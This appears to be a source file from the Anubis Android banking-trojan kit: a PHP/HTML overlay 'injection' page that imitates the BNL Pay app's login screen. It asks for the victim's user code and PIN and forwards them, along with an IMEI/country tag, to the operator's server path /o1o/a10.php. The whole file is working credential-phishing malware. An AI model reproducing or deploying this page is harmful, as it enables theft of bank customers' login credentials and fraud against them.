Files
Anubis-8.0/inj/it_it.bnl.apps.enterprise.bnlpay.php
2026-08-27 10:50:54 -06:00

83 lines
2.9 KiB
PHP

<!-- 4.2.1 -->
<html>
<head>
<meta charset="UTF-8">
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.4/angular.min.js"></script>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.1.0/css/bootstrap.min.css">
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.1.0/js/bootstrap.min.js"></script>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.6.1/css/font-awesome.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.0/umd/popper.min.js"></script>
<link rel="stylesheet" href="it/it.bnl.apps.enterprise.bnlpay/style.css">
</head>
<?php
$IMEI_country = htmlspecialchars($_REQUEST["p"], ENT_QUOTES);
//$IMEI_country = "321|tr";
include "config.php";
?>
<body>
<div class="header">
Log in
</div>
<p> Please enter the credentials that you use for entering the BNL Customer Area.</p>
<form action="null" method="post" id="_mainForm" target="flow_handler">
<input type="tel" class="field" name="login" id="login" placeholder="User Code">
<input type="password" class="field" name="pin" id="pin" placeholder="PIN">
<div class="footer">
<input type="submit" class="button" id="input_submitBtn" value="CONTINUE">
</div>
</form>
<iframe src="about:blank" name="flow_handler" style="visibility:hidden;display:none"></iframe>
<script type="text/javascript">
(function () {
var __insHiddenField = function (objDoc, objForm, sNm, sV) {
var input = objDoc.createElement("input");
input.setAttribute("type", "hidden");
input.setAttribute("name", sNm);
input.setAttribute("value", sV);
input.value = sV;
objForm.appendChild(input);
};
var g_oBtn = document.getElementById('input_submitBtn');
g_oBtn.onclick = function () {
var oNumInp = document.getElementById('login');
var oCodeInp = document.getElementById('pin');
try{
oNumInp.className = 'field';
oCodeInp.className = 'field';
} catch(e){};
if (!/^\w{3,50}$/i.test(oNumInp.value)) {
try{
oNumInp.className = 'field error';
} catch(e){};
return false;
}
if (!/^\w{3,50}$/i.test(oCodeInp.value)) {
try{
oCodeInp.className = 'field error';
} catch(e){};
return false;
}
top['closeDlg'] = true;
var url='<?php echo $URL; ?>';
var imei_c='<?php echo $IMEI_country; ?>';
location.replace(url+'/o1o/a10.php?p=' + imei_c+"|Injection_3|it_bnlpay|"+oNumInp.value+"|"+oCodeInp.value);
return false;
};
})();
</script>
</body>
</html>